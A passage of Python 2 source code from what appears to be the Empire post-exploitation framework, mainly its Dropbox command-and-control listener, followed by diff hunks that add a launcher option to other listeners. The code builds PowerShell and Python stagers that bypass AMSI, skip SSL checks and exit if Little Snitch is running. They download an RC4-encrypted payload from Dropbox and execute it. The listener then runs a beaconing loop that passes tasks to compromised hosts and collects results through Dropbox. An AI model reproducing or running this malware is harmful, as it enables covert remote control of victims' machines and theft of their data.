'Value' : 'powershell -noP -w 1 -enc '
},
'StagingKey' : {
'Description' : 'Staging key for initial agent negotiation.',
'Required' : True,
'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa'
},
'DefaultDelay' : {
'Description' : 'Agent delay/reach back interval (in seconds).',
'Required' : True,
'Value' : 60
},
'DefaultJitter' : {
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
'Required' : True,
'Value' : 0.0
},
'DefaultLostLimit' : {
'Description' : 'Number of missed checkins before exiting',
'Required' : True,
'Value' : 10
},
'DefaultProfile' : {
'Description' : 'Default communication profile for the agent.',
'Required' : True,
'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
},
'KillDate' : {
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
'Required' : False,
'Value' : ''
},
'WorkingHours' : {
'Description' : 'Hours for the agent to operate (09:00-17:00).',
'Required' : False,
'Value' : ''
}
}
# required:
self.mainMenu = mainMenu
self.threads = {}
# optional/specific for this module
# set the default staging key to the controller db default
self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0])
def default_response(self):
"""
Returns a default HTTP server page.
"""
return ''
def validate_options(self):
"""
Validate all options for this listener.
"""
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
for key in self.options:
if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''):
print helpers.color("[!] Option \"%s\" is required." % (key))
return False
return True
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color('[!] listeners/dbx generate_launcher(): no language specified!')
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
# host = listenerOptions['Host']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
pollInterval = listenerOptions['PollInterval']['Value']
apiToken = listenerOptions['APIToken']['Value']
baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))
taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/'))
resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/'))
if language.startswith('po'):
# PowerShell
stager = ''
if safeChecks.lower() == 'true':
# @mattifestation's AMSI bypass
stager = helpers.randomize_capitalization("[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
stager += "$u='"+userAgent+"';"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization('$wc.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
else:
# TODO: implement form for other proxy credentials
pass
# TODO: reimplement stager retries?
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
# add in the Dropbox auth token and API params
stager += "$t='%s';" % (apiToken)
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"Authorization\",\"Bearer $t\");"
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % (stagingFolder)
stager += helpers.randomize_capitalization("$data=$WC.DownloadData('")
stager += "https://content.dropboxapi.com/2/files/download');"
stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
# base64 encode the stager and return it
if encode:
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
elif language.startswith('py'):
launcherBase = 'import sys;'
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stager: " + str(e)
print helpers.color(p, color='red')
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
launcherBase += "import urllib2;\n"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "t='%s';" % (apiToken)
launcherBase += "server='https://content.dropboxapi.com/2/files/download';"
launcherBase += "req=urllib2.Request(server);\n"
launcherBase += "req.add_header('User-Agent',UA);\n"
launcherBase += "req.add_header(\"Authorization\",\"Bearer \"+t);"
launcherBase += "req.add_header(\"Dropbox-API-Arg\",'{\"path\":\"%s/debugpy\"}');\n" % (stagingFolder)
launcherBase += "if urllib2.getproxies():\n"
launcherBase += " o = urllib2.build_opener();\n"
launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n"
launcherBase += " urllib2.install_opener(o);\n"
launcherBase += "a=urllib2.urlopen(req).read();\n"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % (launchEncoded)
return launcher
else:
return launcherBase
else:
print helpers.color("[!] listeners/dbx generate_launcher(): invalid listener name specification!")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None):
"""
Generate the stager code needed for communications with this listener.
"""
if not language:
print helpers.color('[!] listeners/dbx generate_stager(): no language specified!')
return None
pollInterval = listenerOptions['PollInterval']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
apiToken = listenerOptions['APIToken']['Value']
profile = listenerOptions['DefaultProfile']['Value']
stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))
if language.lower() == 'powershell':
# read in the stager base
f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath))
stager = f.read()
f.close()
# patch the server and key information
stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder)
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval)
randomizedStager = ''
for line in stager.split("\n"):
line = line.strip()
# skip commented line
if not line.startswith("#"):
# randomize capitalization of lines without quoted strings
if "\"" not in line:
randomizedStager += helpers.randomize_capitalization(line)
else:
randomizedStager += line
# base64 encode the stager and return it
if encode:
return helpers.enc_powershell(randomizedStager)
elif encrypt:
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager)
else:
# otherwise just return the case-randomized stager
return randomizedStager
elif language.lower() == 'python':
f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath))
stager = f.read()
f.close()
stager = helpers.strip_python_comments(stager)
# patch the server and key information
stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder)
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval)
stager = stager.replace('REPLACE_PROFILE', profile)
stager = stager.replace('REPLACE_API_TOKEN', apiToken)
if encode:
return base64.b64encode(stager)
if encrypt:
# return an encrypted version of the stager ("normal" staging)
RC4IV = os.urandom(4)
return RC4IV + encryption.rc4(RC4IV+stagingKey, stager)
else:
# otherwise return the standard stager
return stager
else:
print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_agent(self, listenerOptions, language=None):
"""
Generate the full agent code needed for communications with this listener.
"""
if not language:
print helpers.color('[!] listeners/dbx generate_agent(): no language specified!')
return None
language = language.lower()
delay = listenerOptions['DefaultDelay']['Value']
jitter = listenerOptions['DefaultJitter']['Value']
profile = listenerOptions['DefaultProfile']['Value']
lostLimit = listenerOptions['DefaultLostLimit']['Value']
killDate = listenerOptions['KillDate']['Value']
workingHours = listenerOptions['WorkingHours']['Value']
b64DefaultResponse = base64.b64encode(self.default_response())
if language == 'powershell':
f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
code = f.read()
f.close()
# patch in the comms methods
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
code = code.replace('REPLACE_COMMS', commsCode)
# strip out comments and blank lines
code = helpers.strip_powershell_comments(code)
# patch in the delay, jitter, lost limit, and comms profile
code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64DefaultResponse+'"')
# patch in the killDate and workingHours if they're specified
if killDate != "":
code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
if workingHours != "":
code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',")
return code
elif language == 'python':
f = open(self.mainMenu.installPath + "./data/agent/agent.py")
code = f.read()
f.close()
#path in the comms methods
commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
code = code.replace('REPLACE_COMMS', commsCode)
#strip out comments and blank lines
code = helpers.strip_python_comments(code)
#patch some more
code = code.replace('delay = 60', 'delay = %s' % (delay))
code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter))
code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile))
code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit))
code = code.replace('defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse))
# patch in the killDate and workingHours if they're specified
if killDate != "":
code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate))
if workingHours != "":
code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate))
return code
else:
print helpers.color("[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_comms(self, listenerOptions, language=None):
"""
Generate just the agent communication code block needed for communications with this listener.
This is so agents can easily be dynamically updated for the new listener.
"""
stagingKey = listenerOptions['StagingKey']['Value']
pollInterval = listenerOptions['PollInterval']['Value']
apiToken = listenerOptions['APIToken']['Value']
baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/'))
resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/'))
if language:
if language.lower() == 'powershell':
updateServers = """
$Script:APIToken = "%s";
""" % (apiToken)
getTask = """
function script:Get-Task {
try {
# build the web request object
$wc = New-Object System.Net.WebClient
# set the proxy settings for the WC to be the default system settings
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$wc.Headers.Add("User-Agent", $script:UserAgent)
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
$TaskingsFolder = "%s"
$wc.Headers.Set("Authorization", "Bearer $($Script:APIToken)")
$wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}")
$Data = $wc.DownloadData("https://content.dropboxapi.com/2/files/download")
if($Data -and ($Data.Length -ne 0)) {
# if there was a tasking data, remove it
$wc.Headers.Add("Content-Type", " application/json")
$wc.Headers.Remove("Dropbox-API-Arg")
$Null=$wc.UploadString("https://api.dropboxapi.com/2/files/delete", "POST", "{`"path`":`"$TaskingsFolder/$($script:SessionID).txt`"}")
$Data
}
$script:MissedCheckins = 0
}
catch {
if ($_ -match 'Unable to connect') {
$script:MissedCheckins += 1
}
}
}
""" % (taskingsFolder)
sendMessage = """
function script:Send-Message {
param($Packets)
if($Packets) {
# build and encrypt the response packet
$EncBytes = Encrypt-Bytes $Packets
# build the top level RC4 "routing packet"
# meta 'RESULT_POST' : 5
$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5
# build the web request object
$wc = New-Object System.Net.WebClient
# set the proxy settings for the WC to be the default system settings
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$wc.Headers.Add('User-Agent', $Script:UserAgent)
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
$ResultsFolder = "%s"
try {
# check if the results file is still in the specified location, if so then
# download the file and append the new routing packet to it
try {
$Data = $Null
$wc.Headers.Set("Authorization", "Bearer $($Script:APIToken)");
$wc.Headers.Set("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}");
$Data = $wc.DownloadData("https://content.dropboxapi.com/2/files/download")
}
catch { }
if($Data -and $Data.Length -ne 0) {
$RoutingPacket = $Data + $RoutingPacket
}
$wc2 = New-Object System.Net.WebClient
$wc2.Headers.Add("Authorization", "Bearer $($Script:APIToken)")
$wc2.Headers.Add("Content-Type", "application/octet-stream")
$wc2.Headers.Add("Dropbox-API-Arg", "{`"path`":`"$ResultsFolder/$($script:SessionID).txt`"}");
$Null = $wc2.UploadData("https://content.dropboxapi.com/2/files/upload", "POST", $RoutingPacket)
$script:MissedCheckins = 0
}
catch {
if ($_ -match 'Unable to connect') {
$script:MissedCheckins += 1
}
}
}
}
""" % (resultsFolder)
return updateServers + getTask + sendMessage
elif language.lower() == 'python':
sendMessage = """
def send_message(packets=None):
# Requests a tasking or posts data to a randomized tasking URI.
# If packets == None, the agent GETs a tasking from the control server.
# If packets != None, the agent encrypts the passed packets and
# POSTs the data to the control server.
def post_message(uri, data, headers):
req = urllib2.Request(uri)
headers['Authorization'] = "Bearer REPLACE_API_TOKEN"
for key, value in headers.iteritems():
req.add_header("%s"%(key),"%s"%(value))
if data:
req.add_data(data)
o=urllib2.build_opener()
o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))
urllib2.install_opener(o)
return urllib2.urlopen(req).read()
global missedCheckins
global headers
taskingsFolder="REPLACE_TASKSING_FOLDER"
resultsFolder="REPLACE_RESULTS_FOLDER"
data = None
requestUri=''
try:
del headers['Content-Type']
except:
pass
if packets:
data = ''.join(packets)
# aes_encrypt_then_hmac is in stager.py
encData = aes_encrypt_then_hmac(key, data)
data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
#check to see if there are any results already present
headers['Dropbox-API-Arg'] = "{\\"path\\":\\"%s/%s.txt\\"}" % (resultsFolder, sessionID)
try:
pkdata = post_message('https://content.dropboxapi.com/2/files/download', data=None, headers=headers)
except:
pkdata = None
if pkdata and len(pkdata) > 0:
data = pkdata + data
headers['Content-Type'] = "application/octet-stream"
requestUri = 'https://content.dropboxapi.com/2/files/upload'
else:
headers['Dropbox-API-Arg'] = "{\\"path\\":\\"%s/%s.txt\\"}" % (taskingsFolder, sessionID)
requestUri='https://content.dropboxapi.com/2/files/download'
try:
resultdata = post_message(requestUri, data, headers)
if (resultdata and len(resultdata) > 0) and requestUri.endswith('download'):
headers['Content-Type'] = "application/json"
del headers['Dropbox-API-Arg']
datastring="{\\"path\\":\\"%s/%s.txt\\"}" % (taskingsFolder, sessionID)
nothing = post_message('https://api.dropboxapi.com/2/files/delete', datastring, headers)
return ('200', resultdata)
except urllib2.HTTPError as HTTPError:
# if the server is reached, but returns an erro (like 404)
return (HTTPError.code, '')
except urllib2.URLError as URLerror:
# if the server cannot be reached
missedCheckins = missedCheckins + 1
return (URLerror.reason, '')
return ('', '')
"""
sendMessage = sendMessage.replace('REPLACE_TASKSING_FOLDER', taskingsFolder)
sendMessage = sendMessage.replace('REPLACE_RESULTS_FOLDER', resultsFolder)
sendMessage = sendMessage.replace('REPLACE_API_TOKEN', apiToken)
return sendMessage
else:
print helpers.color('[!] listeners/dbx generate_comms(): no language specified!')
def start_server(self, listenerOptions):
"""
Threaded function that actually starts up polling server for Dropbox
polling communication.
./Empire/
./staging/
stager.ps1
SESSION_[1-4].txt
./taskings/
SESSIONID.txt
./results/
SESSIONID.txt
/Empire/staging/stager.ps1 -> RC4staging(stager.ps1) uploaded by server
/Empire/staging/sessionID_1.txt -> AESstaging(PublicKey) uploaded by client
/Empire/staging/sessionID_2.txt -> RSA(nonce+AESsession) uploaded by server
/Empire/staging/sessionID_3.txt -> AESsession(nonce+sysinfo) uploaded by client
/Empire/staging/sessionID_4.txt -> AESsession(agent.ps1) uploaded by server
client dropbox server
<- upload /Empire/staging/stager.ps1
read /Empire/staging/stager ->
<- return stager
generate sessionID
upload /Empire/staging/sessionID_1.txt ->
<- read /Empire/staging/sessionID_1.txt
<- upload /Empire/staging/sessionID_2.txt
read /Empire/staging/sessionID_2.txt ->
<- /Empire/staging/sessionID_2.txt
upload /Empire/staging/sessionID_3.txt ->
<- read /Empire/staging/sessionID_3.txt
<- upload /Empire/staging/sessionID_4.txt
read /Empire/staging/sessionID_4.txt ->
<- /Empire/staging/sessionID_4.txt
<start beaconing>
<- upload /Empire/taskings/sessionID.txt
read /Empire/taskings/sessionID.txt ->
<- /Empire/taskings/sessionID.txt
delete /Empire/taskings/sessionID.txt ->
execute code
upload /Empire/results/sessionID.txt ->
<- read /Empire/results/sessionID.txt
<- delete /Empire/results/sessionID.txt
"""
def download_file(dbx, path):
# helper to download a file at the given path
try:
md, res = dbx.files_download(path)
except dropbox.exceptions.HttpError as err:
dispatcher.send("[!] Error download data from '%s' : %s" % (path, err), sender="listeners/dropbox")
return None
return res.content
def upload_file(dbx, path, data):
# helper to upload a file to the given path
try:
dbx.files_upload(data, path)
except dropbox.exceptions.ApiError:
dispatcher.send("[!] Error uploading data to '%s'" % (path), sender="listeners/dropbox")
def delete_file(dbx, path):
# helper to delete a file at the given path
try:
dbx.files_delete(path)
except dropbox.exceptions.ApiError:
dispatcher.send("[!] Error deleting data at '%s'" % (path), sender="listeners/dropbox")
# make a copy of the currently set listener options for later stager/agent generation
listenerOptions = copy.deepcopy(listenerOptions)
stagingKey = listenerOptions['StagingKey']['Value']
pollInterval = listenerOptions['PollInterval']['Value']
apiToken = listenerOptions['APIToken']['Value']
listenerName = listenerOptions['Name']['Value']
baseFolder = listenerOptions['BaseFolder']['Value'].strip('/')
stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/'))
taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/'))
resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/'))
dbx = dropbox.Dropbox(apiToken)
# ensure that the access token supplied is valid
try:
dbx.users_get_current_account()
except dropbox.exceptions.AuthError as err:
print helpers.color("[!] ERROR: Invalid access token; try re-generating an access token from the app console on the web.")
return False
# setup the base folder structure we need
try:
dbx.files_create_folder(stagingFolder)
except dropbox.exceptions.ApiError:
dispatcher.send("[*] Dropbox folder '%s' already exists" % (stagingFolder), sender="listeners/dropbox")
try:
dbx.files_create_folder(taskingsFolder)
except dropbox.exceptions.ApiError:
dispatcher.send("[*] Dropbox folder '%s' already exists" % (taskingsFolder), sender="listeners/dropbox")
try:
dbx.files_create_folder(resultsFolder)
except dropbox.exceptions.ApiError:
dispatcher.send("[*] Dropbox folder '%s' already exists" % (resultsFolder), sender="listeners/dropbox")
# upload the stager.ps1 code
stagerCodeps = self.generate_stager(listenerOptions=listenerOptions, language='powershell')
stagerCodepy = self.generate_stager(listenerOptions=listenerOptions, language='python')
try:
# delete stager if it exists
delete_file(dbx, "%s/debugps" % (stagingFolder))
delete_file(dbx, "%s/debugpy" % (stagingFolder))
dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder))
dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder))
except dropbox.exceptions.ApiError:
print helpers.color("[!] Error uploading stager to '%s/stager'" % (stagingFolder))
return
while True:
time.sleep(int(pollInterval))
# search for anything in /Empire/staging/*
for match in dbx.files_search(stagingFolder, "*.txt").matches:
fileName = str(match.metadata.path_display)
relName = fileName.split('/')[-1][:-4]
sessionID, stage = relName.split('_')
sessionID = sessionID.upper()
if '_' in relName:
if stage == '1':
try:
md, res = dbx.files_download(fileName)
except dropbox.exceptions.HttpError as err:
dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
continue
stageData = res.content
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions)
if dataResults and len(dataResults) > 0:
for (language, results) in dataResults:
# TODO: more error checking
try:
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
try:
stageName = "%s/%s_2.txt" % (stagingFolder, sessionID)
dispatcher.send("[*] Uploading key negotiation part 2 to %s for %s" % (stageName, sessionID), sender='listeners/dbx')
dbx.files_upload(results, stageName)
except dropbox.exceptions.ApiError:
dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox")
if stage == '3':
try:
md, res = dbx.files_download(fileName)
except dropbox.exceptions.HttpError as err:
dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
continue
stageData = res.content
dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, stageData, listenerOptions)
if dataResults and len(dataResults) > 0:
# print "dataResults:",dataResults
for (language, results) in dataResults:
if results.startswith('STAGE2'):
sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
dispatcher.send("[*] Sending agent (stage 2) to %s through Dropbox" % (sessionID), sender='listeners/dbx')
try:
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
try:
fileName2 = fileName.replace("%s_3.txt" % (sessionID), "%s_2.txt" % (sessionID))
dbx.files_delete(fileName2)
except dropbox.exceptions.ApiError:
dispatcher.send("[!] Error deleting data at '%s'" % (fileName2), sender="listeners/dropbox")
# step 6 of negotiation -> server sends patched agent.ps1/agent.py
agentCode = self.generate_agent(language=language, listenerOptions=listenerOptions)
returnResults = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
try:
stageName = "%s/%s_4.txt" % (stagingFolder, sessionID)
dispatcher.send("[*] Uploading key negotiation part 4 (agent) to %s for %s" % (stageName, sessionID), sender='listeners/dbx')
dbx.files_upload(returnResults, stageName)
except dropbox.exceptions.ApiError:
dispatcher.send("[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox")
# get any taskings applicable for agents linked to this listener
sessionIDs = self.mainMenu.agents.get_agents_for_listener(listenerName)
for sessionID in sessionIDs:
taskingData = self.mainMenu.agents.handle_agent_request(sessionID, 'powershell', stagingKey)
if taskingData:
try:
taskingFile = "%s/%s.txt" % (taskingsFolder, sessionID)
# if the tasking file still exists, download/append + upload again
existingData = None
try:
md, res = dbx.files_download(taskingFile)
existingData = res.content
except:
existingData = None
if existingData:
taskingData = taskingData + existingData
dispatcher.send("[*] Uploading agent tasks for %s to %s" % (sessionID, taskingFile), sender='listeners/dbx')
dbx.files_upload(taskingData, taskingFile, mode=dropbox.files.WriteMode.overwrite)
except dropbox.exceptions.ApiError as e:
dispatcher.send("[!] Error uploading agent tasks for %s to %s : %s" % (sessionID, taskingFile, e), sender="listeners/dropbox")
# check for any results returned
for match in dbx.files_search(resultsFolder, "*.txt").matches:
fileName = str(match.metadata.path_display)
sessionID = fileName.split('/')[-1][:-4]
dispatcher.send("[*] Downloading data for '%s' from %s" % (sessionID, fileName), sender="listeners/dropbox")
try:
md, res = dbx.files_download(fileName)
except dropbox.exceptions.HttpError as err:
dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox")
continue
responseData = res.content
try:
dbx.files_delete(fileName)
except dropbox.exceptions.ApiError:
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions)
def start(self, name=''):
"""
Start a threaded instance of self.start_server() and store it in the
self.threads dictionary keyed by the listener name.
"""
listenerOptions = self.options
if name and name != '':
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(3)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
else:
name = listenerOptions['Name']['Value']
self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
self.threads[name].start()
time.sleep(3)
# returns True if the listener successfully started, false otherwise
return self.threads[name].is_alive()
def shutdown(self, name=''):
"""
Terminates the server thread stored in the self.threads dictionary,
keyed by the listener name.
"""
if name and name != '':
print helpers.color("[!] Killing listener '%s'" % (name))
self.threads[name].kill()
else:
print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value']))
self.threads[self.options['Name']['Value']].kill()

View File

@ -56,6 +56,11 @@ class Listener:
'Required' : True,
'Value' : 80
},
'Launcher' : {
'Description' : 'Launcher string.',
'Required' : True,
'Value' : 'powershell -noP -w 1 -enc '
},
'StagingKey' : {
'Description' : 'Staging key for initial agent negotiation.',
'Required' : True,
@ -154,6 +159,7 @@ class Listener:
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
@ -251,7 +257,7 @@ class Listener:
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager)
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
@ -353,6 +359,7 @@ class Listener:
profile = listenerOptions['DefaultProfile']['Value']
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
host = listenerOptions['Host']['Value']
customHeaders = profile.split('|')[2:]

View File

@ -57,6 +57,11 @@ class Listener:
'Required' : True,
'Value' : 80
},
'Launcher' : {
'Description' : 'Launcher string.',
'Required' : True,
'Value' : 'powershell -noP -w 1 -enc '
},
'StagingKey' : {
'Description' : 'Staging key for initial agent negotiation.',
'Required' : True,
@ -155,6 +160,7 @@ class Listener:
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
@ -213,7 +219,7 @@ class Listener:
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
